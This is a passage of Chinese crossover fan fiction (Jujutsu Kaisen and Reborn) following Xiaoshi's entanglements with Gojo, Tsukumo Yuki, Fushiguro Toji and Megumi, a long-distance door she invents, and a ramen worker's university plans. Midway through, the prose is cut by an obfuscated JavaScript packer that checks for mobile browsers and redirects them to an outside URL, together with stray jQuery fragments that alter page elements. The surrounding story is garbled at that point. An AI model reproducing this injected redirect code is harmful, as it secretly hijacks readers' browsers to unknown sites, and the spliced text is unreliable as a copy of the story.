“我愿意为了这个令我愉悦的世界和在那之后的事情献上一切,没有疲惫,也不觉得辛苦,因为我认可这是我甘愿一生践行的事业。这就是我现在的心情,我想让你知道,小莳。” 你们理想主义者有点太自来熟了,小莳提醒他:“没必要说这些心路历程,我们好像也没有这么熟……” “我已经把你视为一生都能信赖的存在。毕竟要是连【自己】都没办法相信,这也太糟糕。连无下限都败给你了。” 一生这个概念也太抽象了,如果一定要说的话,那小莳就是个一生在避免被牵绊的独行人:“我和你明显是两模两样,你不要胡乱攀扯。以及不要迷信灵魂本质,相信科学。” 相信……科学?特级咒术师想笑。 “那你在没找到人生理想前,帮帮我呗?闲着也是闲着。” “……”理想谈不通就开始务实了,五条悟转变的也太快。 “行不行啊,我需要你,你的恩情我一生都会记得。纲吉君说如果这么劝说你你多半会同意的。他说你没什么追求,也不想和人产生联系,但是会为了基础的善恶观还有人情驻足。彭格列在做的是好事,我想做的也是好事,算起来要做的也没什么不同,只不过这里更缺人。” 小莳眼睛里都是错愕:“不是,你--” 五条悟想得到小莳的认可,以及她的助力,为此特地多方请教加上认真分析。小莳主要则是惊讶于兄长近似于将她拱手送出去的安排,还有一点恼火。她在回来之后隐隐约约有感觉到阿纲并不希望她长久待在彭格列,而在赤司家的两年,虽然不自由不快乐,但托亲哥的福她理解了一种名为“希望家人不要卷入漩涡中”的心情。她一直都知道成为家族首领并不是阿纲的夙愿,他现在顶多算是接受了身为boss的现实,以及利用手中的权力做一些有利于社会的善举。不想她陷溺在西西里的mafia环境也是100%的好意。但是,这样的话不就有点被家族赶出来的意思吗?好像有她没她一个样,有点丢人。 她质问:“你是不是骗他了?他可好骗了。” 五条悟委屈:“纲吉君是有超直感的,你该比我更清楚。” “……难道我天生就是上贼船的命?”咒术界无论未来要变成何种样貌,最少也是以五年为期,搞不好真如五条悟所言是他一生的事业,依照人类的一般寿命来说,他至少还有几十年可活!这种规模的工程贸然入伙也太武断,她觉得很不安,所以先前一直避免深入。 现在……她有意设置的和咒术界的藩篱在逐渐消失,小莳的身份从无关人员和其他转为变局的参与者--虽然是被拉进来的。 五条悟说谢谢,在命运的道路上,独行会有些孤单,所以他想要更多的伙伴。 小莳觉得他仗着自己年纪大社会阅历多,做局在坑蒙拐骗,一点不真诚。她有点不满。 两人的话题就以沉默做结。小莳抱胸皱眉瞪着五条悟,而他眯着眼,看起来像是得偿所愿。 95. 第 95 章 本该回家修养的早上,却还在外地。小莳没来得及问五条悟想从那个特级咒术师身上得到什么,就见到了九十九由基本人。 她很漂亮,个子高,金发,看上去很开朗。她对五条悟的出现可能并不惊讶,也可能是不在意,因为她问:“你喜欢什么样的女人?” 至于被拖着后衣领的小莳,九十九由基没给她太多关注。 他看起来很认真地想了一下:“不知道,没谈过。原来东堂的开场白是和你学的。”说起女人,小莳又想到一位不熟的故人。 在被问及相似的问题时,他讲没心情谈恋爱,恋人是国家。他是个公安,小莳有点想笑,假设五条悟一本正经的说出“我的恋人是咒术界”什么的。 她忍住了。 回过神来两个人已经在寒暄里各聊个的了。她有天下大同的理想,他有清理沉疴整改弊病的事业,在小莳看来他们都有劳心劳力的未来。 她在总监部有关系人,没有欠人情的对象,她本人对五条悟的事业不是很看好,因为咒术师不产咒灵,而她只想让咒灵消失。 五条悟一句:“那你这十几年也没做出什么成效。”情商拉满。九十九由基也不生气,大大咧咧地笑:“所以现在开始接任务了。人的行为会随时间和认知改变,但我的理想始终没有变化。我希望这个世界上再也没有咒灵,门阀,总监部,咒术师,都因此没落,只是作为人而活着才是最好的。” 没有御三家还有财团,还有其他利益团体,不过【希望没有咒灵】这也是很可贵的愿望。 “听说禅院甚尔又活了,这年头真是什么事情都有可能发生。我想再联系上他,运气好的话,再活一遭的他会愿意让我研究。死亡会改变很多事情。”九十九由基一看就是个光明磊落的坦率人,毫不避讳地在五条悟面前说起这些,他是她所见的唯一一个没有任何咒力波动的人。“有没可能这是禅院特产?你的那个学生,叫真依还是真希来的,可惜是双子,互相带了点彼此的天赋,反不彻底。” 五条悟认真点评了一番,他觉得不如找几个外国人进行研究,首先咒灵和咒术师几乎是日本特产,而除此之外的其他国家里几乎没有诞生有此类天赋的人,当然,也没有咒灵。 九十九由基叉腰,叹气:“真可惜,这些年在国外没什么进展。日复一日坐着推石头的工作,难道这就是咒术师能做的全部事业了吗,西西弗斯?” 他开始诚邀对方从眼下存在已久的问题着手,比如肉眼可见的高层腐败。而她一点也没兴趣,也明确表示不打算插手:“毕竟,那些保守派也算有旧怨,我和天内理子可不一样。同化,只是说着好听而已。我就是个不值一提的有自己理想的美女,不用在意我。” 哦?这位莫非也是星浆体?小莳在手机中抬头,再看一眼九十九由基,恰好和她对视,她嘴角勾起不屑的微笑:“即使是作为星浆体的我,使命也不应当止于同化。” 真是了不起的觉悟,咒术界确实是卧虎藏龙的。在见面之前,小莳只以为这是个兴趣使然的摸鱼大师。现在看起来这是个特殊型号的又一理想主义者。想来,原来乙骨忧太才是四个特级里的异类。 他,没有理想! 小莳被自己的想法逗乐了。 九十九由基的唇角弧度向上扬:“你好,你是那个20亿的泽田?” “你好,没想到能在这里见到人类中心主义者。”小莳仍然被提着领子,但她这会双脚够到了地面,并不觉得自己狼狈,她只是在普通的和一个有理想的美女打招呼。 讨厌咒灵害人,讨厌天元同化人,以人类的价值观衡量一切,为人类的福祉远望,很标准的以人为中心的理念。 “哦?你认识我?” “不认识,但你听起来就是。” 九十九由基对小莳有了点兴趣:“你是意大利人?我以前在意大利待过一段时间,很适合旅游。” 小莳说:“好巧,我最近也去意大利旅游了。景点确实不少。” “你喜欢什么样的男人?” 她想了一会,回答:“喜欢姓伏黑的。” 五条悟松手噗嗤笑出声。他今天心情不错。 中午他请小莳吃了排队超热门的甜品店旁边的一家炸物店,在拿号后吃饭,吃完后正好排队到甜品。九十九由基哪怕不成为助力也不会作阻碍,挺好的。 “她术式是什么?你看起来很在意她。” 五条悟说不知道,她成为特级太早了,又不接委托,在意只是因为她是特级。 “好哦。”小莳开始专心吃饭,她有一种五条悟马上要说点什么辛秘的感觉,这个时间节点不适合听。 “小莳,你还真是敏锐,我本来想【状似不经意】提起的。” “那你别说,我想回并盛,想念灰原雄一口气能做八碗面的手艺了。” “真遗憾,不行,目前能说这些的对象只有你。”他掰开筷子,托下巴讲述了高专校长早年曾被短暂擢升特级的事迹,因为他能做出熊猫这样特别的咒骸。“在这点上和你相似哦,小莳。” 这个时候提起早就知道的事情,还特意提了一嘴特级:“我有的时候恨自己的聪明,你不会想说这不是一个巧合……夜蛾校长其实能量产高质量咒骸。” 答案是肯定的。在没有对外展示的世界里,大家都有自己的秘密,校长也不例外。这让五条悟有些痛苦。“知道这件事情的还有日下部,他侄子死于一场意外,夜蛾正道用灵魂信息制作了自立型咒骸……这不由让我想起一些一个宿舍四个群的友好校园故事。问题来了,这件事是谁告诉你的?目的何在?”批量生产一级左右的咒骸,这不是一件小事,跟克隆技术似的。 五条悟回答:“天元,然后校长证实了这一点。他希望咒骸们能安然生活在高专后的森林里。在熊猫出现的时候,高层不信任他,监禁了他。校长说他不清楚制造方法,我信了。” 结果现在山里有一群。 “知道一些真相,这也是必经之路。人就是这样复杂的生物,所以我才想过不和他人关联太多的生活。没时间悲春伤秋,往好里看,你的好校长没想用这一技术做伤天害理的事情,也不想掺和斗争,他很爱惜咒骸。如果不能平静看待,你当不知道也行。” 说来有些矫情,但五条悟产生了一种世界都在阻止他的感觉。 “不过咒骸们倒是能很好的缓解咒术师的工作压力,你说与幸吉的傀儡能到那种程度吗?制造一些自立型的咒力人偶?上次看到这么热血沸腾的剧情还是在工业革命时期。后来农民就流离失所进厂干活了,开启资本主义的邪恶门扉。”说起邪恶什么的她也是无师自通了。 五条悟打消了她的念头:“自立型咒骸需要三个灵魂信息融合成一个。”不仅涉及克隆,还有三合一,是放在科研界会被吊销执照然后进监狱的那种研究,这个研究思路就足够可疑。首先,一项成果在研究问世之前,多半会经历数次失败…… 通往咒骸的门扉本来就混沌,衍生出邪恶的罪和血也有可能。她最后建议五条悟保守这个秘密,在外面行动的只有熊猫一个就足够了,运气好校长可以造个咒骸迪士尼出来。“至少你现在有了校长的信赖。而且……我觉得你和夜蛾正道的关系没那么好,看起来从一开始你们就只是互相理解的同盟,让你觉得不舒服的应该另有其人。” 小莳的恶趣味犯了,她开始逗猫:“当然,我没有特指夏油杰的意思。要不你去找家入医生辅助诊断一下?”三个同期的问题当然是他们内部解决,十年前她还没到十岁呢! * 小莳带着大包小包甜品回并盛,在看到门口站着的伏黑甚尔时,她意识到自己回迟了一天。“嗨,晚上好。” 若是风尘仆仆也就罢了,昨天到今天无论伙食还是交通都格外优秀,小莳看起来容光焕发,像去外地旅游刚光鲜亮丽的回来。 她被一脸不开心的伏黑甚尔逼到客厅的角落里质问:“你去哪了。” 小莳回忆起几天前对方发来的消息,还有自己随随便便的回复,如今还鸽了一天。因为不好意思,她踮起脚在唇上印下一个带着愧意的吻:“抱歉,让你久等了。”看上去他一直在等她。 “你这几天都和惠在一起?” “也没有,只有最初的两天,去一个偏远的村子里调查了桩迷信案件。后来就是我一个人到处跑了,帮五条悟代班。” 小莳试图推开他,但收效甚微,伏黑甚尔压着她的胳膊低头再续先前缠绵的吻。他说那就好。 小莳不好说,反正这攀比心挺扭曲的。 过了一会他问:“你和五条悟很熟?” “还行,现在我在帮他干活。” “嗯?怎么回事?” 小莳就从在她顺利运用不垂堂后五条悟的梦境开始说起。“他害怕梦里的事情成真,所以想改变。”伏黑甚尔对咒术界的事情只是匆匆带过,他好奇两人间的联系。小莳解释:“你现在有没有产生一种虐恋情深还有相爱相杀的感觉?被一个人干掉又喜欢上他的二重身什么的,好刺激。甚尔你玩得好花。” 她在接下来的十分钟为自己的口嗨付出了代价。 再之后,他问小莳要不要吃晚餐,她面色潮红。看时间已经过了家里饭点,而且她也没说今天会回家,索性明早再吃。伏黑甚尔说他可以做。在听了一轮冰箱里的现有食材后,她最终选择了拒绝。 “你真难伺候。” 小莳不否认。 餐后,她开始给伏黑惠发消息,说明自己已经又回到并盛,结果反而对方最近忙碌起来,几乎每天下午的实战都配备任务,结束后也没了能到她家的时间。小莳就是在这时说明了伏黑甚尔在几天前搬来了狱寺隼人家隔壁的事情……具体大概是七八天。 她解释说自己忘记告诉他了,直到回家才又想起来。 伏黑惠给了她一串省略号。又过了一会才颇为别扭地问她什么时候可以再回高专住两天,小莳想了想,决定给自己先来三天的假期,把时间定在那之后。他在几分钟后发来消息,说这两天如果下午结束早,就来并盛找她。 伏黑甚尔站在小莳身后,将最近的几条消息尽收眼底,他不动声色:“看来你男朋友很不放心你。” “如果你不住在这里,一切都会好起来。” “你想我走?” 这个问题难倒了小莳,她想了想回答:“也不见得,我其实……对你有点依赖的。大概因为是初恋,总归会不同。”伏黑甚尔因为她的话心绪起伏。 他把小莳横抱在怀中,过了一会才又说:“可你看起来更喜欢他。” 他想听点好话,可小莳对他耳朵吹气:“没办法,我们很早就分手了。” 听者心情不悦:“你不能总拿这个说事。我爱你,现在是你对我不够好。你很冷淡,还迟了一天回来,我找不到你,你只会和惠汇报行踪。” 小莳心虚道:“现在又变成你来数落我了,你少说两句。” “那你说你喜欢我。” “啊,这不好吧。有一种背着对象和别人偷情的感觉。” 伏黑甚尔气得想撂挑子走人,但他忍住了,呼气,吸气,呼气,吸气,他问:“你喜欢我吗?” “--喜欢。”这是一句显而易见的废话,蓝波说得对,她完全是和以身相许适配度为0的类型,在米花也是,在意大利也是,她本可以有其他的方式解决问题,偏偏她都让伏黑甚尔留下了。 “哦,”他说,“那好吧,今晚我帮你暖床。” 伏黑甚尔得到了令他心满意足的答案,睡眠时怀里也抱着温暖的躯体,一夜好眠。 并盛的格局从十四年前到现在都没怎么变动,生活较大城市也平静得多,小莳在这里的日常也就是,回家吃早饭,出门逛一圈,吃午饭,出门逛一圈,吃晚饭,回住所。值得一提的是他会和门外顾问错峰吃饭,这一点总让奈奈不满。 连中午都有时间回家的理由她暂定为:学校组织的游学活动就在附近的瀑布。只不过这借口一直没用上,奈奈从来不问。 关于小莳的家庭,伏黑甚尔最近知道她的母亲是个漫画书里的标准女人,不太聪明,家庭女性,但是个绝世好人,只有相处过才能理解含金量。 父亲经营着一个叫做abcd的组织,因为彭格列运行良好最近处于半退休状态,是个冷酷无情会把小孩送到监狱的类型,“说不定你们会挺有共同语言,毕竟你把孩子卖了。一生深有苦衷的东亚父亲。” “……”卖孩子笑话她大概可以再讲十年。 以及她的匣兵器,造物,奈亚,确实不喜欢他。伏黑甚尔自我感觉良好,没觉得自己招人恨。 近期的大新闻是拉面店里的灰原雄想要上大学,他的老板和老板朋友泽田奈奈作为长辈都替这孩子高兴,伏黑甚尔却知道他不是自愿的。 小莳的拉面几乎都是外卖,在下午一点到五点期间,只要灰原雄有空就会骑电动车亲自送上门,他会亲切地称呼她为泽田小姐,而他准备继续读书的真实原因则是他的妹妹--现在已经比他年长不少,觉得作为男人在拉面店里一直打工是没有前途的,还是读书,毕业,坐办公室比较好。 虽然他本人更喜欢劳动和按时吃饭的生活……但亲人的企盼,还是难以忽视。 小莳则调侃他:“坏咯,你要成高专出来的第一个大学生了。”然后帮他准备了并盛高中的全套证明,现在他是一名高三即将毕业的学生了,高一期间因为家庭原因休学两年,现在19。 高考的成绩她征询了灰原雄本人意见,他觉得自己和东大仍有一定的差距,上个并盛本地的大学就可,周末还可以回店里继续打工,而且没什么才能的他如果去了优质学校,像是一种资源的挤占。 灰原雄还是小莳心里的天选打工人,“从一年前我就这么觉得。” “我对他没印象。” “是的,你不买花。我猜是因为你对理子有点心虚,所以每次我们出门的时候你都尽可能避免一起吧。如果我是你我根本就不会接区区3000w。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413163|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他转移话题:“……我记得当年咒术高专的一年级也去了冲绳,他怎么会没认出来天内理子。” “认出来了,说是看她在米花过得很好,以前死亡的旧事不必影响当下的幸福。所以只是多送点花。真是好人啊,灰原雄!不愧是让人意难平的后辈。家入医生也很喜欢他,在他任务失败以后她在停尸间坐了很久,可能有一夜。” 伏黑甚尔发现了小莳喜欢追寻人性中闪光的部分,然后他审视了一下自己,发现无甚可观。不能细想,他只好一次又一次问她,请她说她喜欢他。 咒术高专的学生生活则是又回到了日常的轻松状态,上午文化课,下午实践,出出任务赚点钱,周而复始。再过两个月本学年就结束,又要有新生入学了。 一年级的三人里虎杖是最期待做前辈的;钉崎有一点暗戳戳的想法,但她拒不承认;伏黑惠是真的不在意,最近他在琢磨调伏最后一个式神,虎。 托学生们的福,小莳在高专的生活还算惬意,毕竟是年岁相仿的人,他们如果不太忙,那小莳也不会太糟。五条悟似乎是和夏油杰再次和好了,从他现在有什么事情不一定会和她分享就能看出来,多半是去和夏油杰说了。 挺好,毕竟她现在在并盛有个了不得的邻居,暂时不想让他们知道。在意大利之后,无论是五条悟还是夏油杰都没主动和她提起伏黑甚尔这个名字,这是一种默契,她也不想提起。 好像大家都忘了。除了她,伏黑惠,还有伏黑甚尔本人。 往返于相距百公里的两个地方,小莳对距离动起了脑筋,如果这段时间能被称为通勤距离,那也太远。假设每天往返(实际上不会),那么就有四小时的时间形同浪费,一周就有足足一天多的时间在路上。 就在当月的某一天,小莳创造出了一款能够跨越百公里的门,实现通勤自由。 她将这一成果分享给男友:“这样我从家到高专就可以节约一大笔时间了,我们可以每天都见面。”伏黑惠不知道小莳是如何做到的,不过他也不为此投入过多好奇心,只是很高兴脱离了异地恋。 伏黑甚尔比较不快乐,理由是小莳若不想,她离开的途径又多了一个,而那扇幻术造物的门只容许她和她的另一造物通过。这下奈亚还可以每天回并盛做菜,小莳去回泽田家吃饭的概率大大提升,他连用餐都不能和她一起了。 有种烧饭了伴侣也不回家的郁闷。 他不高兴。 两三天后,能通过【门】的人又多了一个,他叫五条悟,他来的时候伏黑甚尔正围着围裙帮小莳整理只用五分钟就被弄乱的桌子。文稿/零食/化妆品,上面什么都有。 “要是能在风纪集团也有一扇---唔。” 五条悟礼貌地合上了门。房间恢复如初。 空气静默了有几十秒,伏黑甚尔把肩膀上的抹布往桌上一甩,当他拧开墙上门的时候,出现的东西只有一砖墙,他也不明原理,但现在心情很不美妙。哦,就他不能通过。 门扉下一次打开的时候出现的是头发乱糟糟的小莳。她的第一句话是:“你怎么会在这?” 糟糕的开场白,像是质问。 伏黑甚尔不悦:“怎么,我不能来?我以前在这的时候你从来不说,因为那个白毛?” 小莳还没再说什么,就被身后一股力量往前挤,她后面的人语气揶揄:“你这个人渣说话还真是不客气,不就是杀了你一次吗?” 是五条悟。 要不是担心这两人把房子给轰了,她绝对不会出现。“你们差不多得了,悟,请走。”小莳开始赶人。 “这家伙怎么会在这?” “这人为什么会来?” 互相嫌弃想看两厌的两位问出了同样的问题。 其中五条悟更是重量级:“你终于要做出背叛小惠的事情了吗?我早就想到会有这一天,惠这孩子就是老实--”老实到墙角橇来橇去最后还是棋差一招。 小莳脑瓜子嗡嗡,本来今天祓除了几个咒灵就烦:“还没跟你计较你又擅自进我宿舍的事情呢!!” “给你三秒钟收拾,现在你可以离开了。” 五条悟撤下眼罩,威胁:“哼,我要告诉杰!”就是没说要告诉他的学生伏黑惠。 小莳双手抱胸,盯着他,一言不发,直到他败下阵来:“好吧,不过我建议你把门框调高一点,我可是很高的,我有1米95哦~” 小莳认为他应该把身高刻在墓碑上,虽然这是很多年后的未来,但完全可以想见。谁问他了? 然后五条悟转身:“就不参观小莳家了,改日,今天要和杰还有他的两个女儿吃饭。家庭聚会~我最喜欢家庭聚会了!” 问题人和你也不是一家人啊,小莳臭着脸目送。 在那之后她就得面对伏黑甚尔的诘问:“五条悟为什么能通行?”“你就这么嫌弃我?”“你今晚在哪吃?” 小莳完全没思考他的问题,想着自己的事情:“这才过了多久就被发现了,真麻烦……” “麻烦,我对你而言就只是麻烦吗?”他眼神深邃,随手解开围裙系带,扯下,身形往小莳所在的墙边靠近,直到完全将她压在墙角。 “不是说你,我--” 她错过了泽田家的晚餐,也错过了晚餐,最后点了一份拉面。小莳成了第一个知道灰原雄准备前往并盛地质大学的人,伏黑甚尔是第二个。 他在犹豫是现在和七海说,还是拿到录取通知书以后说,虽然二者大约是一个意思。并盛本地的大学,都……录取率挺高。 “你想报考的专业是?” “金融学。” 很少有一心往火坑里跳的少年人了:“七海绝对会劝你别考。” 灰原雄眼神纯真:“一定很好就业吧,建人没有文凭都成功入行,而且在这个行业做了好多年!也攒了很多钱。有很多钱的职业,辛苦些也可以。” 小莳微笑送走了对未来怀揣期待的元气帮工,转头对伏黑甚尔说:“他疯了。” 伏黑甚尔对经济,对投资皆不擅长,他捏着下巴,不清楚小莳所指何意,他感觉这个很擅长拉面的男人说的有点道理:“我觉得他没说错。” “连你都觉得好了,甚尔,回答我,你是个赌运佳的人吗?” 黑发的情人眼神危险:“你这是什么意思。” “经济下行,已经不如十年前了。而且说了多少遍,七海海是金毛,普通黑发?想都不要想。”有的人商务名片一递出去,可信度就上来了,最好说话再带点口音:“我觉得他的气质比较符合程序员,不如学计算机。” 不过灰原雄什么专业最终都不会沦为失业的,有第一次入错行的前车之鉴,他的前辈们都很关心他,他并不孤单。 “计算机?听起来像打工的,还是金融战略投资对我更有吸引力。”伏黑甚尔还在发挥想象力。 “没事,你这年纪也读不了大学了,而且感觉你的运气会是买股票买什么跌什么的……我心直口快你别生气啊!” 96. 第 96 章 当一件事情被五条悟知道了,那么它离被夏油杰知道也不远了。挚友没有明说,但夏油杰还是从对方欲言又止最后暗示他去找小莳的奇怪表现中探出了端倪。 这两天他没见到小莳,心中的淡淡好奇也就没再显现。直到有一天他的两个女儿--这是五条悟和小莳的戏称,现在他也下意识就被绕进去。美美子和菜菜子在和他有过一面之缘的特级咒术师九十九由基对峙。 “呀,我没想到你们会把家长都喊过来。” 一个两个的,怎么都把他当孩子父亲了,明明他年龄还没到能做两个十六岁女孩父亲的程度。 “好久不见,九十九由基。” “对我来说可不是好久,你这张脸……不知道五条是怎么毫无芥蒂又和你做朋友的。”羂索说了很多疯话,人也很疯,总之是让特级美女咒术师也觉得可怕过头的家伙,“不过来都来了,你喜欢什么样的女人?我每次问你都不回答。” 夏油杰仍然没有给出答案,他拒绝在孩子们面前聊这个。他把两个孩子护在身后,问对方前来并盛为何。 “真是时代变了,听说两孩子在百鬼夜行干掉了不少辅助监督,现在也能上街啦?新世界真好。”她倒是光明磊落,做过最过分的事情就是不接任务,没害过无辜人等的性命。辅助监督……因为不接任务,也没有和谁关系特别好,所以能坦然说起这些,不谴责也不避讳,只是事实就足够刺耳:“不过我是来找人的,你们和咒术师的恩怨我不感兴趣。听说了吗?伏黑甚尔也和你们一样一笔勾销了,有小道消息说他就在并盛,这地方还真是包容。” 送走九十九由基之后,夏油杰并不快乐。 难得季度末前的清闲也抵不过他不妙的心情。他对两个孩子说:“不是你们的错,是我教导有误,这些事情该我来背负。美美子和菜菜子只要做自己想做的事就行,当然,别违法犯罪。” 迷途知返有一定的难度。夏油杰走错过路,也许,太远了。 * 小莳从高专转移到房间里的时候,其实有点失望。她想着这也有不少天过去,没有人问过她她空间穿越的灵感何在,她非常乐意回答。 可惜没人问。 穿越土星之门和飞路粉都是很好很好的。 下楼的时候听见客厅里有人说话的声音,她没刻意压低脚步,毕竟这里是她暂住的地方,有合法居住权,没人比她更该理直气壮。 说话的声音停止,再往下两阶,楼梯的遮挡没了,视野准确无误地看见对面坐在餐桌上的一男一女。马丁靴,工装裤,黑色吊带,中分金发,是九十九由基。 一眼就知她是来找伏黑甚尔讨论理想的。 最先说话的是伏黑甚尔。金发的漂亮女人让他想起去年的事,他意识到自己需要避嫌,开口就是:“我不认识这个人。她自己闯进来的。” 而他不认识的美女认出了小莳,她的问候是:“听说禅院甚尔确实改性伏黑了,是他上一任妻子的姓氏吗?” “据我所知是这样的,这也是入赘的基本操作……吧?我没结过婚,不太清楚。哈哈。”四年以后再了解也不迟,距离上一次见面明明没过多久,这个人的情报渠道和行动力俱佳。 小莳只想回家,今天门外顾问不在家,可以陪奈奈一起吃晚餐:“你们慢慢聊。我走了。”现在正好是买菜的时候。 伏黑甚尔起身,够一侧的外套:“等等,我和你一起走。” 她说:“我回家,你最好别跟,不然我只好说你是--”说到这里有点卡壳,惠是男同学,甚尔是什么?年龄和家长一辈有很大差距,可明显也不是同龄人。 最后小莳叹气:“你不够年轻,也不够老,扰乱了我干净的朋友圈,没办法介绍你,你去玩吧。” 听了这话心情不好的人今天又多了一个。 他送小莳到门口:“你今晚还回来吗?” “这取决于abcd的事务够不够繁忙,不过就算回来也会去高专啦,惠最近很辛苦。”给一点精神上的支持和物质上的补助,具体指带份宵夜。 “你已经两天没在这里住了,今天是第三天。”伏黑甚尔很不高兴地指出。 小莳随口应:“是吗。我没注意。”她说错了话。 她自己也意识到了这点,像补救一样迅速承诺:“明天,明天一定回来住。” 伏黑甚尔深深地看了她一眼,直到她转移目光低下头,才说:“我确实不认识九十九由基,她想拜托我配合她的研究,仅此而已。”她看上去一点也不在乎,可他还是想解释,不愿意再产生误会。 “唔,你现在好擅长坦白,以前都什么也不说的。”事情和小莳猜的一样,她主要惊讶于伏黑甚尔会告诉她这些。 “以后什么事情我都让你知道。”她能不能也……多和他说些。 小莳被这番承诺弄得有点恍惚,在原地立了一会才如梦初醒,她点点头:“好哦。我走了,再见。” “嗯,我就在家等你。” 离开一段路以后小时才反应过来,等等,伏黑甚尔家明明在隔壁啊?说来这里其实是隼人的房子。 泽田家光所在的门外顾问组织,其缩写为CEDEF这件事情,直到所有人都叫它abcd之后才昭告天下,然而咒术师们和小莳认识的其他人已经叫顺口,习惯了。只有伏黑惠追求严谨,在念的时候会依照本名。 小莳觉得没必要太给他们面子。 “只是习惯。”亲缘关系都是马马虎虎的一对小情侣对长辈的尊敬都不多。 “好吧,总之就是那个想在黑曜附近霸占学校和废弃设施开黑拳场地的家伙被路过的巴吉尔赶走了。”巴吉尔是泽田家光的弟子,这两天回并盛看望老师,并汇报一下西西里最近的一些情况。 “嗯,你们那边的治安一向优秀。” “悟最近有和你说什么嘛?” “没有,怎么了。有什么值得注意的地方吗?” 小莳坐在圆鹿后头,探出半个头:“啊--前段时间他去并盛看见甚尔了。” “……”作为高专中唯一有资质踏入门的人,五条老师近期往返还真不少。他甚至还做起了在全日本范围内造门的打算,被小莳打了脑袋。 “他应该是认为我们在偷情。”小莳说完以后,感觉男朋友从后面抱过来,她被缠得紧紧的。 “那你们有吗?”声音近在耳边。 “额,这个--”每次说到这些最后最尴尬的都是她。再聊就要到奇怪的地方了,小莳转移了话题。 伏黑惠身上的线条标致,眼睛也很美,尤其是他嘴里轻念她名字的时候,他微微眯起的绿眼睛似乎有万种风情,散发诱人的气息。 而他也越来越自知了。他以前从不在意这些。 发展到最后小莳总怀疑自己脑袋昏聩,被拿捏得明明白白,“你以前很清纯的,你变了。” “是,我希望讨你欢心,也确信能得到你的回应。小莳,我好喜欢你。”他眼里是幸福的光芒。 这是一个接近幸福的时刻,和他在一起的大部分时间都是如此,小莳乐在其中。至于伏黑甚尔,那是另一种在试探与怀疑中忽远忽近的历程,也不赖。这很奇怪,但在两种关系的叠加下,小莳觉得自己大约又一次坠入了爱河,非常规的爱情隐秘又令人担忧,但她并不紧张,只享受它的甘美。也许是因为他们开始让她觉得安全,让她身上的一些压力得以缓解。 她现在就像个……像个,坏男人,大概。 再坏的女人,也不过就是犯了全天下…… 虽然如此,她不得不承认自己有点耽溺于其中的微妙拉扯。在亲吻中,小莳捕捉到这份与健康二字相去甚远的喜悦。 咒术界的事情她参与不多,只简简单单处理了一些小麻烦,其他的事务就和普通注册咒术师一样。只要五条悟确定目标是确凿做过很多坏事的,她都乐意不多问,然后下手。一般来说,作为下指令的人,只会夸赞刀锋的锐不可挡,并且为之骄傲,抒发点虚荣心。可好心人的调侃中带了点担忧:“怪不得纲吉君会关心你的未来发展,你这样的孩子,如果没有坚定的善恶观,怕是会被有心人盯上。” 在这点上他和阿纲都挺有人文关怀的,她认真说了谢谢,并且说明她也会为自己把关,会认真思考,避免被蒙蔽。 其实她对于五条悟的判断比较信赖,也就是说她根本懒得思考谁做了什么。不过,她不想让他担心,也不想让他得意忘形……无论如何小莳也有些职场摸鱼小技巧,而她正在运用它。 在稳定的生活中,小莳又感受到一种乐趣的缺失,她觉得有些无聊了。比她更先意识到这件事情的是每天都能做饭给她吃的勤劳造物,奈亚。 观察小莳是他唯一健康积极的爱好,至于其他的,都比较恶趣味,有的甚至可以称为邪恶。在她开始第二次点开曾经看过的电视剧并用它下饭时,造物就心下有数。 小莳也是后来才知道,在她回家吃饭的日子里,伏黑甚尔都懒得下厨,都是随便应付点,泡面/速食饭团/外卖构成了他的大部分伙食。 又不健康又难吃。 但她还有点受宠若惊,对方的厨艺已经到了能够开家每天排队的饭店的程度,但只为她下厨……从中品尝出一些没办法控制的特殊意味,所以她在有时会在家里的饭菜中分出一点,预先装好带回去给他。 于是唯一受委屈的又成了奈亚。他仍然不喜欢这个一直对他的业务虎视眈眈的家伙,虽然对方做的--从专业眼光来看,比他差远了。不过小莳喜欢那个伏黑甚尔,那就……没什么好说的。 在某一个阳光和煦的下午,在学期结束的春假前,造物带来了一个好消息,在私立百花王学园,学生会长允诺了一个推荐入学的名额。 小莳都快忘了这件事情了,但仍然令人高兴。 她记得她去学校的那天狠狠得罪了学生会和一个什么文化社长,重点是还讹了一个亿。 “辛苦你了,我决定等上大学的时候一定尽量出勤。”她说这话的时候,有一种新的一年一定会努力拼搏的既视感。 而她的大学还在一年后。 不仅升学没压力,连上大学的压力也一下就没了,小莳提前一年给自己选专业吗,与母亲奈奈一起畅想未来,对方居然也不指责她空想大王。 “妈妈觉得美术怎么样?” “那个会不好找工作吧?” “倒不会,五条老师说会介绍人帮我开画廊。” “哎呀,会不会太麻烦人家了?而且这个不会是骗子吧,你也要提醒老师不要被人骗了。” 奈奈在遭遇了一次推销骗局后,终于有了基本的反诈意识,她有点舍不得丈夫辛辛苦苦赚的一点窝囊费,现在非洲的石油挖完了,丈夫在并盛一家保险公司就职,业务怎么样不好说,但一天大半时间在家。 总之就是令人担忧。 不知道奈奈在愁什么,但她肯定想歪了,小莳又提了一个专业:“古典文学?” “这个是不是自己在家看书就好了。” “那妈妈觉得呢?” 但泽田奈奈却说:“这还是要看小莳你自己的想法呢,毕竟妈妈只是主妇,没有读过什么书。” “……”她报的两个专业都被否了啊。 “灰原君说是最后报考了我们并盛的大学,学的是工程和能源呢。” “那我也去学土木工程?” “女孩子干这个太辛苦了吧!” 这是性别歧视啦! 小莳对奈奈一向有耐心,她只好说一年以后的事情一年以后再议,先把本学年高二的奖学金拿到手。她的妈妈喜笑颜开,今晚吃蟹。 伏黑惠那边更没有升学压力,三个一年生都已一级,要不是学时没到,直接毕业也不是不行,不存在没办法顺利到二年级的烦恼。他们都在等放假。 并非严格意义上的假期,但在学期之间,高专的课程都会停止,任务也会尽可能不往在校生身上压,这是一直以来的惯例。如果发生突发情况,还是得出任务。 就是在这样的清闲日常中,她的造物提出邀请,请她去百花王学园参加点课外活动。有个转校生关系和他不错,以及在学校附近有了一个新的局子:经营不善的停车场和大楼,黑拳开盘。 